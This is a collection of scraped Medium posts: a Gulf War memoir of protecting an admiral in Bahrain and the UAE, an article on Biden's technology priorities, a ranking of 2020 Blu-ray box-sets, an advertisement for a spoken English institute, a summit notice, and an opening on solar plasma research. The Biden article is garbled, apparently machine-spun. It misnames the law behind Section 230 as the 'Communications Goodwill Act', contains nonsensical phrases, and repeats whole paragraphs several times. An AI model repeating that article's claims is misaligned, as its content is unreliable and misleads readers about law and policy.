Arrival in Bahrain was in the early morning hours. Immediately after clearing immigration and customs I was met by Jeff Sieber, Agent in Charge, N.I.S. Office, Bahrain. A quick welcome brief followed during our drive to the Gulf Hotel. Once we arrived I was having difficulty adjusting to the concept of being in a war zone but at the same time checking into a five star hotel. My room was on the twelfth floor and upon entering I realized the room was as large as my apartment back in North Carolina. I was exceptionally tired but hungry so I ordered room service. Within a short time a club sandwich arrived accompanied by french fries and a small coke. When finished with my meal I settled in and reflected on my surroundings. Bizarre was pretty much my primary thought with a bit of brain adjustment when memories of my arrival in Vietnam, twenty one years earlier,came forward.
Sleep came quickly as did morning. Shower and a shave managed to wake me fully. A short hallway walk to the elevator and presto I was on the main floor. A quick scan of the breakfast area located Agent Sieber, as I was taking a seat quick introductions were made and I was introduced to Al Zane. Al was the Special Agent in Charge (SAC) in London and had been detailed to Bahrain. A very experienced Agent with a strong background in Counterintelligence (C.I.). He was also the C.I. man responsible for direct coordination with the Commander of all Naval Forces (COMUSNAVCENT). A considerable amount of Al’s time was spent aboard the U.S.S. Blue Ridge which was moored in Bahrain.
Within a short time Al and I developed a strong working relationship and friendship. He had an easy manner about him but at the same time projected a top professional attitude. His C.I. skill set was outstanding and his merging with senior staff representatives aboard the Blue Ridge was accomplished quickly. The operational pace of all N.C.I.S. personnel, within the area of operation, was quickly ramped up to overdrive. With the basic mission of counterintelligence in time of war being “the saving of lives” motivation was not an issue. Long days and a fast pace became the norm.
Introduction to members of the Marine Corps sixth counter intelligence team, stationed at Sak Kisa Air Base, Bahrain, brought real time coordination to an unprecedented level. Professional relationships were quickly developed allowing the merging of assets and operational efforts. One joint effort in particular stands alone as a huge provider of real time actionable intelligence. Bahrain had seen a large influx of Kuwaiti refugees subsequent to Iraq’s invasion. A concerted effort to identify and contact individual refugees was undertaken. Debriefs conducted often led to critical information being obtained relating to Iraqi troop movements, weapon locations to include mobile scud missiles and munitions storage.
The information gleaned would generate intelligence reports that were immediately forwarded to Central Command. Central command would then corroborate the forwarded details by using satellite imagery and other “sources and methods”. Once confirmed the information would be provided to personnel responsible for plotting enemy targets within Kuwait. On at least one occasion results were immediately observed via C.N.N. The report which had prompted the “news flash” was information relating to the Iraqis using Kuwaiti school buildings for ammunition storage. There it was, CNN reporting for all the world to see, coalition forces bombing and destroying Kuwait school’s.
Steve Smith & Glen Wildy in Saudi Arabia
Operational security for all forces in the theater was paramount. Principle concerns however, focused on Marine Corp and Navy personnel as well as installations. The Marines 6th Counterintelligence Team operated out of Shaikh Isa Airbase situated within the eastern portion of Bahrain. The base was also the home for several Airforce squadrons of light bombers and other attack aircraft. Although Marine Corp units operated out of the Base, Airforce personnel were assigned the actual physical security responsibilities for the facility. As the war ramped up concerns were identified with the physical security of the outer perimeter and with elements, such as the flight control tower, inside the defensive perimeter.
Communication vulnerabilities were readily apparent for the Airforce Units and the Marine elements, lacked a consistent and constant system of information exchange. Initial efforts to illuminate the Airforce Commanders of the identified vulnerabilities were largely unsuccessful. A Test Exercise was executed which not only identified breaches within the perimeter defenses, but resulted in the Hostile Test force seizing the air operations control tower. As the designated N.I.S. representative to the U.S.S. Blue Ridge (Admiral Mauz’s command ship), Al Zane presented the “Test Exercise” results to the Blue Ridge’s Command Staff, The resultant fallout made short work of illuminating the Airforce Commanders at Shaikh Isa to their shortcomings with communications with the Marine units and personnel.
Work days averaged fifteen to eighteen hours in duration. The operational tempo increased as plans were solidified for the initial air assault that would occur, prior to any large-scale ground troop movements. Admiral Mauz, Commander of U.S. Naval Forces, scheduled travel to the United Arab Emirates for diplomatic liaison purposes and N.I.S. was tasked with providing the Protective Service Detail (P.S.D.) I was selected as the detail leader and within a few days the U.S.S. Blueridge was underway. Life aboard the U.S.S. Blueridge was considerably different from my previous duty aboard the aircraft carrier Independence. On the Indy I was considered ship’s company whereas on the Blueridge I was attached to the Admiral’s staff.
Specialized weapons such as Mini Uzi’s were brought aboard for use by Amniral’s Mauz’s security detail. Introducing myself to the Marine Detachment aboard the Blue Ridge was not only interesting but slightly comical. Since the Marine’s maintained the ships armory, protocol required the storage of all weapons while aboard. Weapons would be drawn when the Admiral was scheduled to make a shore visit. Checking the weapons in and out of the armory always resulted in young Marines darting their eyes around and looking a bit uneasy. Reflecting back I can understand why a couple of middle aged guys in civilian clothes, bearing Special Agent credentials, checking Mini Uzi sub machine guns in and out would be somewhat strange. Adding to the mystique was our deliberate projection of being the “quiet deadly type”. The drama ramped up considerably after completing the escort detail. Upon reboarding the ship it was required that all weapons be cleared by removing magazines and dry snapping into a “clearing barrel”. Trying to clear an Uzi by dry snapping is tricky because the UZI operates from an open bolt position. Marines, not being familiar with UZI style weapons only enhanced the drama.
Once I cleared my sidearm, a Browning HiPower, the hammer would not fall with the magazine out. This glitch always required a verbal explanation which would end by the Marine nodding his understanding. While walking away I would smile slightly for I knew the Marine did not understand and that he only wanted to end our interaction as soon as possible. Looking back I am grateful that I, or one of my team members, didn’t accidentally discharge a round when clearing our weapons. We worked hard in establishing ourselves as the “quiet deadly type” and an accidental discharge, ricocheting into the clearing barrel , would have been devastating to our perceived persona.
Three instances encountered while protecting the Admiral stand independent in their uniqueness. The Blue Ridge had traveled to the United Arab Emirates (UAE). Admiral Mauz had an early tee off time in Dubai. The protection team was geared and ready before sunrise. Due to a short delay on the Admiral’s part departing the ship, our dignitary vehicle and follow vehicle had to proceed to Dubai driving faster than normal. As I sat in the follow car I was cognizant of our speed and the fact we were weaving in and out of traffic to make up time. Having a driver who does not speak English only added to the drama. Remembering we are “at war” was a distant memory for we were risking vehicle damage and most probably personnel injuries by traveling as fast as we were.
Arrival at the planned location without insult or injury was a relief. However, sitting in a golf cart waiting for the Admiral to tee off was mystic. Thoughts of War, coupled with being on a golf course, were amplified by my possession of a Mini Uzi in a briefcase, were hard to digest. Once I added the fact that my UAE counterrorist counterpart also did not speak English the surreal atmosphere was pretty much off the chart. Racing to the green prior to the Admiral’s golf ball landing, only added to the absurdity of our mission.
Finally finishing eighteen holes was followed by our arrival at a local business for a special showing of “Persian Rugs”. Standing outside the rug shop for two hours, holding my souped up briefcase was a classic. Fleeting remembrances of Vietnam twenty one years past only added to the outrageousness of the scene. Once I recalled the old adage “war is hell” a smile emerged.
As soon as it appeared I momentarily became alarmed. Words my Mother had schooled me on were resonating in my mind. “Things are never so bad that they can’t get worse” echoed. Immediate thoughts of the Admiral being lost “blown up, shot, dead, etc.” were quickly followed by my realization, that if I had died in Vietnam, it would not have been as bad, as being known far and wide as the Special Agent — Detail Leader — who allowed the Commander of all Naval Forces in theater to be neutralized. Autonomic reaction caused a silent thought “pay attention to detail Steve, for you have been taught that is how to survive’.
The following morning came quickly. Departure from the Blue Ridge was rapid. A reconnaissance of the American Ambassador’s residence in Abu Dhabi was the objective. What could go wrong? “Fritz the Cat ‘’ was a NIS Agent assigned to Bahrain. He had been dubbed “Fritz” by Al Zane. According to what I had been told, which had been reinforced by Fritz telling me, “I have been to Arab language school.” We arrived at the Ambassadors compound and started our mission by sketching the layout and photographing a few structures. Within a short time I noticed that the security force, assigned to the Ambassador’s compound, appeared to be concerned about our presence. Common sense dictated that I instruct Fritz the Cat to inform the force that “it is okay, we work for the Admiral who will be visiting this evening”. Suddenly alertness turns to action for talking to Fritz has convinced the security force Commander that we are “bad guys’ ‘ who pose a threat. Deescalation only occurs when the Ambassador’s wife exits her home to see what the commotion is.
I instruct Fritz to quit talking and throw my hands up palm towards the security force. Rapid explanation causes the Ambassador’s wife to smile and she quietly tells the force commander to stand down. As I leave I muster enough calmness, to pretend I was smiling while saying, “Thank you Mam, I am so sorry for the confusion”. She continued to smile and as I disengaged, I comically said “Mam, please don’t tell the Ambassador about this, , it could be a career ender”.
Once back in our vehicle I asked Fritz what the hell happened. Reply was priceless: “I never said I was fluent”. Lots of adjectives came to mind “dumb ass, imbecile, idiot, pea brain, stupid f — — ker, etc. but contrary to my norm I did not utter a word.
The following day zinged into focus. Only task left was to transport the Admiral to an Airforce Air Strip for air travel to Jubail, Saudi Arabia.. Travel went smoothly, however our arrival at the security point for the airstrip did not. For whatever reason the security force manning the check point was
delaying our entry. Knowing that Admiral Mauz was known “to speak his mind” was concerning. Exiting the trail car I approached the checkpoint on foot. As I walked I did not see the Agent I had assigned to facilitate entry upon our arrival.
Within a short time the Air force Commander in charge of the airstrip arrived. A short discussion resulted in his order to security persons to open the gate. Just as we passed through the entry point our dear Admiral ordered us to stop. Admiral Mauz then exited the vehicle and approached the Air force Colonel who had expedited the opening of the gate. The Admirals stance and general appearance did not reflect a pleasant exchange with the Colonel. After the Admiral boarded his transport aircraft the Colonel approached me. I was a bit stunned because he appeared to be major league stressed. His eyes were watering and his voice cracked when he asked if I could explain to the Admiral that he was not responsible for the gate delay”.
As I walked back to the entry check point I was scanning the area for the Agent I had assigned to facilitate the Admiral’s arrival. From some distance away I now could see the Agent I was looking for. Fritz the cat, accompanied by another Agent, Joe Hephron, were walking towards me. Both were carrying bags of merchandise they had purchased in local shops. Upon arrival Hefron said “what’s up?” I did not respond to Hefron. I did, however, ask Fritz to step away with me.
My anger was controlled on the surface but I was firing on full auto inside. Question to Fritz was “where the f — — king hell were you? Joey asked me to go shopping with him.” followed by “you know he is a 14 right?” A follow up question was not asked for I was unable to speak. I knew if I opened my mouth a volcanic eruption of four letter words would result. Knowing that once I finished my colorful reply to Fritz, the situation would escalate, I mustered enough control to walk away. | https://medium.com/@raider30109/the-shield-bc29330f09c2 | ['Stephen Smith'] | 2021-07-10 14:54:09.085000+00:00 | ['Vietnam', 'Iraq', 'Veteran', 'Blue Angels', 'Desert Storm'] |
Five Technikal prioriti from Joe Biden (US) | President-elect Joe Biden’s transition team describes his inspirational philosophy as “building better.” This is in favor of both the Trump administration’s tendency to push back the power of federal agencies and how Biden’s preference for large New Deal-style stimuli is built.
But when complete hostility to Big Tech is a dual issue, what does it mean for the US tech industry and its future regulators? These are five areas that can affect almost all Americans, prioritizing technical topics identified by the upcoming government and its advisors.
Chairman-elect Joe Biden’s Five Technical Priorities
Section 230: Small Law, Long Reach
Section 230 of the Communications Goodwill Act of 1996 is the legal principle that enables the Internet today-Facebook, Twitter, TikTok to YouTube, Discord, cramps. This protects the company from liability for what users do online.
This made sense when online services were just a tool for creating virtual billboards and mailing lists, but many of today’s platforms have powerful artificial intelligence that controls what is displayed in people’s feeds. Evolving with algorithms. Critics on both sides of the political situation say that if a company controls what people see, they must take responsibility for what people see-and invisible.
President Trump has threatened to reject recent defense spending bills unless there is a provision to abandon Section 230. Last December, Biden said Section 230 “should be abolished immediately.”
That doesn’t mean they agree. Jessica Melugin, director of the Technology and Innovation Center at the Libertarian Competitive Enterprise Institute, believes Republicans will provide a cover for social media companies to censor political speech, while Republicans have changed Section 230. He says he wants social media companies to explain the spread. Of the wrong information. (My colleague gave a bright explanation about this.)
Despite all the heated rhetoric about eliminating Section 230, Congress does not seem to be willing to pass a law that changes it, Melugin says. If that happens, there will be a compromise limiting the scope of protection in Section 230, as recently proposed by a trio of Republican senators.
Alex Engler, a Fellow at the Brookings Institute, who describes himself as fair, is labeled Centrist or Moderate, but is studying the impact of technology on governance. He says the Biden administration may find double support for rules that slow the spread of certain content on social media and add warnings to those that spread rapidly-often they aren’t true. Indicates. Twitter attempted such a measure in October to delay election-related misinformation.
President Trump has threatened to reject recent defense spending bills unless there is a provision to abandon Section 230. Last December, Biden said Section 230 “should be abolished immediately.”
That doesn’t mean they agree. Jessica Melugin, director of the Technology and Innovation Center at the Libertarian Competitive Enterprise Institute, believes Republicans will provide a cover for social media companies to censor political speech, while Republicans have changed Section 230. He says he wants social media companies to explain the spread. Of the wrong information. (My colleague gave a bright explanation about this.)
Despite all the heated rhetoric about eliminating Section 230, Congress does not seem to be willing to pass a law that changes it, Melugin says. If that happens, there will be a compromise limiting the scope of protection in Section 230, as recently proposed by a trio of Republican senators.
Alex Engler, a Fellow at the Brookings Institute, who describes himself as fair, is labeled Centrist or Moderate, but is studying the impact of technology on governance. He says the Biden administration may find double support for rules that slow the spread of certain content on social media and add warnings to those that spread rapidly-often they aren’t true. Indicates. Twitter attempted such a measure in October to delay election-related misinformation.
The Federal Communications Commission has been asked by the Trump administration to reinterpret Section 230, but other Brookings scientists believe that changes to the legal system must come from Congress, not the FCC. Melugin agrees.
Net Neutrality: Internet Battle Internet
Competition Net Neutrality (the principle that all data must be treated equally in terms of speed of delivery over the physical infrastructure) is by Internet pioneers, activists, and BigTech. It has long been considered sacred. Companies such as Google and Facebook claim that it is essential to promote innovation and stay competitive. Needless to say, many US ISPs are actually local monopolies and may endorse their own services while charging more for competing services.
For example, AT & T, which provides the Internet to millions of homes in the United States, can offer HBO Max services at a discounted rate, but competitors can charge Netflix and Disney + to reach the same home. AT & T Mobile has already exempted HBO Max, a process called Zero Review, from customer data restrictions.
In 2017, the Republican-controlled FCC, under retiring Chairman Ajit Pai, argued that it overturned the Obama-era net neutrality rules, reducing consumer choice and, in some cases, higher prices. FCC critics, led by Mr. Pai, claim that his actions have accomplished the exact opposite of what he intended.
President-elect Joe Biden’s transition team describes his inspirational philosophy as “building better.” This is in favor of both the Trump administration’s tendency to push back the power of federal agencies and how Biden’s preference for large New Deal-style stimuli is built.
But when complete hostility to Big Tech is a dual issue, what does it mean for the US tech industry and its future regulators? These are five areas that can affect almost all Americans, prioritizing technical topics identified by the upcoming government and its advisors.
Chairman-elect Joe Biden’s Five Technical Priorities
Section 230: Small Law, Long Reach
Section 230 of the Communications Goodwill Act of 1996 is the legal principle that enables the Internet today-Facebook, Twitter, TikTok to YouTube, Discord, cramps. This protects the company from liability for what users do online. . ..
This made sense when online services were just a tool for creating virtual billboards and mailing lists, but many of today’s platforms have powerful artificial intelligence that controls what is displayed in people’s feeds. Evolving with algorithms. Critics on both sides of the political situation say that if a company controls what people see, they must take responsibility for what people see-and invisible.
President Trump has threatened to reject recent defense spending bills unless there is a provision to abandon Section 230. Last December, Biden said Section 230 “should be abolished immediately.”
That doesn’t mean they agree. Jessica Melugin, director of the Technology and Innovation Center at the Libertarian Competitive Enterprise Institute, believes Republicans will provide a cover for social media companies to censor political speech, while Republicans have changed Section 230. He says he wants social media companies to explain the spread. Of the wrong information. (My colleague gave a bright explanation about this.)
Despite all the heated rhetoric about eliminating Section 230, Congress does not seem to be willing to pass a law that changes it, Melugin says. If that happens, there will be a compromise limiting the scope of protection in Section 230, as recently proposed by a trio of Republican senators.
Alex Engler, a Fellow at the Brookings Institute, who describes himself as fair, is labeled Centrist or Moderate, but is studying the impact of technology on governance. He says the Biden administration may find double support for rules that slow the spread of certain content on social media and add warnings to those that spread rapidly-often they aren’t true. Indicates. Twitter attempted such a measure in October to delay election-related misinformation.
President Trump has threatened to reject recent defense spending bills unless there is a provision to abandon Section 230. Last December, Biden said Section 230 “should be abolished immediately.”
That doesn’t mean they agree. Jessica Melugin, director of the Technology and Innovation Center at the Libertarian Competitive Enterprise Institute, believes Republicans will provide a cover for social media companies to censor political speech, while Republicans have changed Section 230. Said that social media companies want to explain spreads. Of the wrong information. (My colleague provided an enlightening explanation for this.) | https://medium.com/@beuteungkosongb/five-technikal-prioriti-from-joe-biden-us-8c52024b9723 | ['Be Ute Un Gko Song B'] | 2020-12-22 17:48:20.580000+00:00 | ['Biden', 'Mental Health', 'Technology', 'News'] |
2020: Best Blu-ray & Box-sets | Maybe physical media’s days are numbered with streaming services a progressively better experience, and already superior when it comes to ease and convenience. But for film enthusiasts, nothing beats holding and truly owning a movie on Blu-ray-particularly in a deluxe or limited edition, perhaps with bundled goodies and fancy packaging.
A bookcase filled with your favourite films looks better than mindlessly scrolling through rows of icons, the same as everyone else on a streaming service. There’s a feeling of pride, ownership, and uniqueness.
So how better to celebrate the last day of 2020 than to choose our 20 favourite Blu-rays and 4K Ultra HD discs. The limited edition Steelbooks. The deluxe box-sets. The expensive collections. The mouthwatering must-buys. How many of these did you purchase this year, and what would you add to the list?
20. 2001: A Space Odyssey — Titans of Cult (4K Ultra HD Steelbook)
Stanley Kubrick’s masterpiece was already a must-have purchase when it arrived on 4K with a superlative transfer, but then Titans of Cult released this Limited Edition Steelbook version with an exclusive enamel pin and embroidered patch. Hard to justify buying 2001 if you’d already splashed out on this film in Ultra HD, but this was arguably the best 4K version in terms of the artwork and goodies.
19. It: Chapter One & Two — Zavvi (4K Ultra HD Steelbooks)
With both It films now available, Zavvi had a few box-set releases to tempt customers who had already bought each Chapter separately. The most expensive was the Ultimate Collector’s Edition (with a figurine of Pennywise), but it was hard to justify the £139.99 price. The best value was undoubtedly the metal box-set, with each Steelbook given new artwork, bundled with two fold-out posters.
18. Gamera: The Complete Collection — Arrow Video (Blu-ray)
It made perfect sense for Arrow Video to release this (literally) monstrous Complete Collection box-set of the Gamera kaiju films, in a year where Criterion released an equally enormous Godzilla bundle. Costing a mighty £125, it still sold out, and I daresay a lot of customers took a risk on the films simply because of the truly epic artwork and physical extras (art cards, booklet, map). Two less expensive box-sets are coming in January 2021, covering the Showa and Heisei era’s separately.
17. The Shining — Warner Bros. (‘Collector’s Edition’ 4K Ultra HD)
The 40th anniversary of another Kubrick classic resulted in another batch of different releases on 4K, but while I prefer the vivid yellow Steelbook from Zavvi, there’s no denying this released a better value package if you wanted some extra physical goodies. These included an exclusive booklet, a letter from Stanley Kubrick to artist Saul Bass, Saul Bass’s early design illustrations, behind-the-scenes imagery, and a replica theatrical poster. The only downside was the less interesting artwork on the disc itself.
16. Alfred Hitchcock Classics Collection — Universal (4K Ultra HD)
While not the most visually appealing box-set on this list, dropping four of Alfred Hitchcock’s best films on 4K represented one of the year’s best bargains for cinephiles. Only Psycho was otherwise available in 4K separately, celebrating its 60th anniversary (with the Uncut version making its home video debut), but this set also contained Rear Window, Vertigo, and The Birds. The artwork inside is better than expected, but familiar if you have the older Blu-ray Hitchcock box-set. Interestingly, the Region A version lacks the plastic trays and is more of a Digibook.
15. Flash Gordon — StudioCanal (‘Collector’s Edition’ 4K Ultra HD)
A cult favourite for many, seeing Flash Gordon on 4K was revelatory in terms of the punchy colours and extra details. The film’s a love-hate situation, mostly dependent on nostalgia, but StudioCanal certainly didn’t let its 40th anniversary pass by unnoticed. The £50 Collector’s Edition contained the documentary Life After Flash, the Queen soundtrack, a 32-page booklet, a mini-book telling the Story of Flash Gordon, an original artwork poster, and a reproduction of the first Flash Gordon comic-book. I’m not a huge fan of how StudioCanal stuff these goodies inside a relatively small box, as it’s difficult to crack open and get to the discs quickly, but I’m sure Flash fans appreciated the efforts here.
14. The Elephant Man — StudioCanal (‘Collector’s Edition’ 4K Ultra HD)
StudioCanal had a great year with some classic releases on 4K for the first time, but what marked The Elephant Man apart was its more creative packaging. The box-set opens out to reveal a pop-up of the hospital Joseph Merrick was taken to, together with a booklet and some art cards. This did result in a rather fat package, held together by a popper, which was of debatable design quality, but it was nevertheless StudioCanal’s most memorable release of the year. You can read our review of this release here.
13. Bruce Lee: Greatest Hits — Criterion Collection
While unavailable on Region B here in the UK, Criterion Collection’s incredible Bruce Lee: Greatest Hits release was a must-buy for any Kung Fu fans with a region-free Blu-ray player. This stunning release brought together five of the martial artist’s best-known films: The Big Boss (1971), Fist of Fury (1972), The Way of the Dragon (1972), Enter the Dragon (1973), and Game of Death (1978). The wasp-coloured artwork was obviously inspired by Lee’s iconic attire in his last movie, and the set featured 4K restorations of every film — except Enter the Dragon, which instead received a 2K restoration of the rare 99-minute theatrical cut. The extras includes lots of new material, including interviews with relevant producers and Lee’s biographer. They even threw in the 1981 film Game of Death II (comprised of unused material with Lee from previous films) as a bonus extra, together with the 2004 documentary Blood and Steel (focusing on Enter the Dragon’ s creation). It was a real shame this box-set didn’t come to the UK, but we live in hope another distributor will essentially repackage this for us soon.
12. The Game — Arrow Academy (‘Limited Edition’ Blu-ray)
Nobody saw this coming! Arrow Academy isn’t a branch of Arrow Video particularly known for this Limited Edition box-sets, but in 2020 they dropped this excellent release of David Fincher’s . It wasn’t a 4K upgrade, but the transfer looked a touch better than the US Criterion Blu-ray release from years ago. More importantly from a collecting mindset, this came in a tall and sturdy case (feeling and weighing more like a hardback book), with an information booklet inside. The little details and artwork are what made this release so beautiful, even if some may not have appreciated how difficult it is to shelve. You can read our review of this release here.
11. Beetlejuice — HMV (‘Cine Edition’ 4K Ultra HD)
There two great release for Beetlejuice this year, timed for Halloween. Zavvi’s Steelbook set had funky artwork with vibrant greens and purples, but I opted for HMV’s more traditional box-set full of goodies as part of their Cine Edition range. The box-set was designed to look like a copy of the ‘Handbook for the Recently Deceased’, and inside you had a poster, a glow-in-the-dark embroidered patch, and collectable chalk. I know it’s a lot of bumph you’re unlikely to ever use, but I’m a sucker for a limited edition (1500 copies) gift set. And the replica Handbook idea was great.
10. Game of Thrones: The Complete Collection — HBO (4K Ultra HD Steelbooks)
Forget the gimmicks, this was just a straightforward release from HBO: all eight season of their epic fantasy series Game of Thrones, together on 4K Ultra HD in fancy Steelbook packaging. It’s a thing of simple beauty. There was a cheaper non-Steelbook release for £199.99, but an extra £50 for those metal cases was sorely tempting. An eye-watering amount of money to spend (and I’m sure many fans had already been collecting the expensive Blu-rays each year), but for diehard fans who want the best way to see and store their favourite TV series forever… this was the release one dreamed about.
9. Total Recall — StudioCanal (‘Collector’s Edition’ 4K Ultra HD)
Another sterling release from StudioCanal was Paul Verhoeven’s Total Recall, another of their excellent upgrades for mainstream ’80s and ’90s action films. The simultaneous Steelbook version had better artwork, but this more expensive Collector’s Edition came with the usual paraphernalia: art cards, a poster, the soundtrack, a booklet. Sure, it’s a generic box-set release that stuck to a formula, but seeing this given premium 4K treatment was a treat. You can read our review of this release here.
8. Columbia Classics — Columbia Pictures (4K Ultra HD)
Another mouthwatering 2020 release was Columbia Pictures dropping six classic films on 4K (Mr Smith Goes to Washington, Lawrence of Arabia, Dr Strangelove, A League of their Own, Jerry Maguire), although it instantly presented consumers with a quandary. This wasn’t a cheap set at £200 and there’s a good chance you didn’t want all six films, with A League of their Own and Jerry Maguire’s inclusion more eyebrow-raising. And if you’re a Kubrick fanatic on a high with 2001, The Shining, and Full Metal Jacket 4K’s this year, would you lay down that sort of cash just to get Dr Strangelove on 4K too? It’s a box-set for those with deep pockets and refined tastes, but with a gorgeous hardback book to pore over this was definitely a highlight of the year’s physical media releases.
7. The Hobbit — New Line Cinema (4K Ultra HD Steelbooks)
It’s not anyone’s favourite trilogy of the two, but The Hobbit still represents a demo-worthy transfer in 4K. The Dolby Atmos track is particularly thrilling. There are no 3D versions, or an option to play these films in the High Frame Rated (HFR) format Peter Jackson filmed them in, but The Hobbit trilogy is nonetheless a feast for the eyes and ears. And the £99 Steelbook box-set is beautiful, especially in terms of the individual matte artwork that represents each film. It’s such a pity there are no extra features whatsoever, as they’re undoubtedly being held back for 2021’s Middle Earth deluxe box-set containing both trilogies.
6. The Lord of the Rings — New Line Cinema (4K Ultra HD Steelbooks)
Everything I’ve said about The Hobbit 4K Steelbook release also applies to this trilogy, but the lack of bonus material was a potential dealbreaker for some. But if you wanted to see The Lord of the Rings trilogy in stunning 4K with awesome Dolby Atmos, with a better colour-grading job than the earlier Blu-rays, it’s hard to argue against owning these. Although there’s debate about digital noise reduction (DNR) smoothing away some details from the earlier Blu-rays, etc. The non-Steelbook box-set is £25 cheaper, but I think it’s worth the extra cash because of the amazing artwork.
5. Back to the Future trilogy — Universal/Amazon (‘Collector’s Edition’ 4K Ultra HD)
The 35th anniversary of Back to the Future inspired a tonne of new box-sets, including the trilogy’s debut on 4K. For my money, Amazon had the best-looking gift set, as it contained three beautiful Steelbooks (each one combining into an elongated image of the DeLorean spanning three time periods), which one could also buy at other retailers. However, Amazon’s deluxe box-set also contained a replica of the ‘Gray’s Sports Almanac’, a trilogy poster, two lenticular cards (one a brilliant version of Marty’s vanishing family photo), a blueprint of the DeLorean, a photo of the Clocktower from 1885, a fridge magnet, a Gibson guitar pick, and a continuity script excerpt! The only negative is that the box-set is contained inside a rather dull-looking black package resembling the DeLorean’s time circuits. And it’s a shame the Steelbooks are stored so peculiarly inside, with two nestled together at the bottom, but one randomly near the top. But in terms of value, the goodies inside are top quality and great fun.
4. Star Wars: The Skywalker Saga — Lucasfilm * Disney (4K Ultra HD)
After the release of Star Wars: The Rise of Skywalker, the scene was set for a nine-film, trilogy-of-trilogies, comprehensive release of the so-called Skywalker Saga. This £199.99 box-set was the end result, although each film was also given individual 4K and 4K Steelbook releases. The key selling point of this box-set is the deluxe packaging and heavy book full of gorgeous artwork, although the way the 27 discs are slipped into the pages isn’t the best idea. One might argue getting the individual releases looks more impressive on a shelf, but it’s more expensive in 4K, so while £199 isn’t to be sniffed at it may represent the best value option.
3. Friday the 13th — Scream Factory (Blu-ray)
The second box-set not available in the UK, but I just had to mention this little beauty. It’s something of a miracle that Scream Factory managed to negotiate the complicated rights issues with the Friday the 13th franchise of 12 films. These aren’t 4K releases, but new 4K scans were taken of the first, second, third, and fourth movies. Some of the soundtracks were also restored and there’s an entire disc dedicated to bonus material. The incredible artwork and bundled poster is perhaps the biggest draw for people who likely own these movies already, making a lot of Jason fans drop $130 into Scream Factory’s bank account.
2. Dawn of the Dead — Second Sight (4K Ultra HD)
Second Sight made waves on social media with their loving 4K restoration of George A. Romero’s 1979 classic Dawn of the Dead, with a beautifully designed box-set that managed to be functional and easy to access. It also contained two thick hardback books (a novelisation of the film and an essay). But what really sold fans is the chance to own the three versions of the film in 4K quality-the Theatrical Cut, the Cannes Cut, and the Argento Cut. There’s a wealth of extras and Dawn has simply never looked better, despite its low-budget. This is an essential purchase for zombie heads. I also appreciated the thought that went into the packaging, as it’s not a pain to open up and get to the discs. The box lifts apart and everything’s ready to grab in seconds.
1. Godzilla — Criterion Collection (Blu-ray)
Despite being released almost a year ago, Criterion’s stunning release of the Showa era of Godzilla movies (1954–1975) has loomed over every box-set in 2020. This was the prestigious label’s 1000th release, so they pulled out all the stops with a gargantuan Blu-ray set resembling a hardback pop art book full of beautiful and vivid landscape cartoons. It’s a shame Criterion haven’t started releasing 4K discs, but the chance to own all 15 kaiju classics in such a seminal release was too alluring. £149.99 is a hefty sum to throw down for a box-set, but it was reduced to £100 in sales and the price means it hasn’t gone OOP yet. Compared to other mega-boxes released this year, it’s arguably a steal to own that many films from a boutique label.
Originally published at https://www.framerated.co.uk on December 31, 2020. | https://medium.com/framerated/2020-best-blu-ray-box-sets-721669ed0c50 | ['Dan Owen'] | 2021-01-01 18:33:06.894000+00:00 | ['Movies', 'TV', 'Features', 'Television', 'Film'] |
Dream India Technologies is the best way to learn Spoken English | English is considered the universal language and common language for various methods of oral communication in businesses worldwide. English is easy to learn like any other non-native language but learning English for career purposes requires proper practice and time. The easiest way to learn any non-native language is to attempt to expose yourself to the real environment.
The Spoken English Institute in Guntur held at Dream India Technologies help expert trainers speak with confidence by exposing them to expert instructors with more than a decade of experience in learning English.
Points to focus on
To improve your communication in English you need to focus on listening, reading, writing and speaking. Dream India Technologies, which offers the Spoken English Institute in Guntur, follows a curriculum designed by subject matter experts catering to the needs of the business world.
Listen More
Hearing plays an essential role in learning English. Active listening helps to understand the tone and pronunciation of English and also helps to enrich your conversation. You can improve your English knowledge by listening to TV shows, movies, debates in English, and radio and music.
Reading a lot
Reading English can help you improve pronunciation, understand the context of word usage in sentences. The practice of reading English newspapers regularly expands a person’s vocabulary. Finally, you can speak fluently by using new words you have learned in regular conversations.
Practice writing
Generally, by writing stories and blogs you can improve your knowledge in the English language. You can start by writing a paragraph or an article on any topic and review yourself using dictionaries. This helps you to fix your mistakes by yourself.
Speak Fearless
Speaking is a challenging part of learning any language. You can try to communicate with others in English or record your speech later to listen and correct yourself. Join Spoken English Institute in Guntur to gain confidence in your English language skills.
Mirror exercise
You can boost your confidence and gain fluency by speaking in English to yourself in front of a mirror. You can memorize a few lines in English from any book or magazine and make repeated corrections using those lines.
The best way to strengthen your spoken English skills is to practice as much as possible and explore more and more. Spoken English Institute in Guntur organized by Dream India Technologies helps learners acquire English skills which are in high demand by many businesses. Our coaches bring out the best in you and help you excel in your communication skills and succeed in your career. | https://medium.com/@dreamindiatechno/dream-india-technologies-is-the-best-way-to-learn-spoken-english-6db402ec1cde | ['Dream India Spoken English'] | 2019-11-14 10:12:16.911000+00:00 | ['English Learning', 'English', 'Spoken Word', 'Language Learning', 'English Language'] |
2019 GTB Shopper Summit | GTB’s first Shopper Marketing Summit for industry experts took place on Monday, October 14 at the historic Ford Piquette Avenue Plant.
The summit invited major global tech and media brands to Detroit and featured speakers from GTB’s sister WPP companies — AKQA, Blue State, Triad and VMLY&R — as well as eMarketer, iterate.ai, Amazon and Facebook. Sessions explored topics such as new marketing models, including subscription services and direct-to-customer marketing. New technologies, including voice commerce, AI decision engines and service apps, were also presented within real-world case studies.
During the Summit, we were able to ask these industry experts for their views on the future of shopper marketing. | https://medium.com/gtb-tweets/2019-gtb-shopper-summit-2006f84ae9f9 | [] | 2019-10-15 14:33:56.059000+00:00 | ['Gtb Industry Insights'] |
The Mysteries of the Solar Plasma | The Mysteries of the Solar Plasma
How new experiments in plasma physics, and the Parker Solar Probe, might unlock the Sun’s secret source of power.
Beautiful arcs above the solar surface called coronal loops that emit in the extreme ultraviolet (EUV).
Much of the luminous universe — not counting ‘dark’ stuff — is hydrogen, at millions of degrees, and billions of atmospheres, crushed inside stars. Electrons are splitting off atoms and emitting light in the process. This state of matter is called a plasma.
In August of last year, NASA launched the Parker Solar Probe. In a series of ellipsoidal passes, it will fly through the solar corona — the sun’s atmosphere — capturing data. Like a child sticking his finger into a jar, poking something is usually the first step toward unraveling a scientific mystery.
I had the joy of getting a good look at the corona in 2017. The corona is what you see when an eclipse reaches totality, the beautiful luminous arms of light that reach out in all directions; the result of a cloud of fast-moving electrons scattering light as it diffuses out into space.
